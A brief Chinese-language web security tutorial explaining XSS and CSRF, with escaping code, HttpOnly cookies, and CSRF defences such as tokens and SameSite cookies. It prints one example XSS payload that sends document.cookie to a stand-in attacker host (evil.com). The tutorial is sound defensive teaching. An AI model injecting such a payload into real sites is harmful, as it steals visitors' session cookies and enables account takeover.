XSS和CSRF

XSS跨站脚本攻击(Cross Site Script)

  外部脚本（用户输入的）被注入到受害网站，如果网站没有过滤，那这段脚本可能被之后的访问者执行。

举例说明

<script>window.open(www.evil.com?content=document.cookie);</script>

  我们不能相信用户的输入内容，要对其进行校验。现在主流框架Vue/React都实现了XSS的防御。

防御措施

1. 特殊字符过滤，也就是内容进行转义（输入检查）

const decodingMap = {
  '&lt;': '<',
  '&gt;': '>',
  '&quot;': '"',
  '&amp;': '&',
  '&#10;': '\n'
}

function xss(str) {
    var div = document.createElement('div');
    var text = document.createTextNode(str)
 
    div.appendChild(text)
 
    var val = div.innerHTML;
    text = null; div = null;
 
    return val;
}
var sss = xss('<div style="color:red;" onclick="alert(2)">haha</div>')
document.body.innerHTML = sss

2.将重要的cookie标记为HttpOnly,这样JS中的document.cookie就不能获取到cookie了

CSRF跨站请求伪造(Cross Site Request Forgery)

  CSRF利用的是受害者本地Cookie来骗取服务器的信任，可以在受害者不知情的情况下，以受害者的名义去发送请求，攻击服务器。

防御措施

1. 检查Referer字段，服务器端可以通过HTTP请求头中的Referer字段来判断访问来源是否合法；（不安全，Referer可被修改）
2. 验证码(体验不好)
3. Token，服务端给用户一个Token，用户发送请求时，带上这个Token,服务端进行校验；（主流）
4. Samesite Cookie属性，Set-Cookie新增Samesite属性，设置成strict,这样就同站Cookie，第三方就使用不了Cookie了。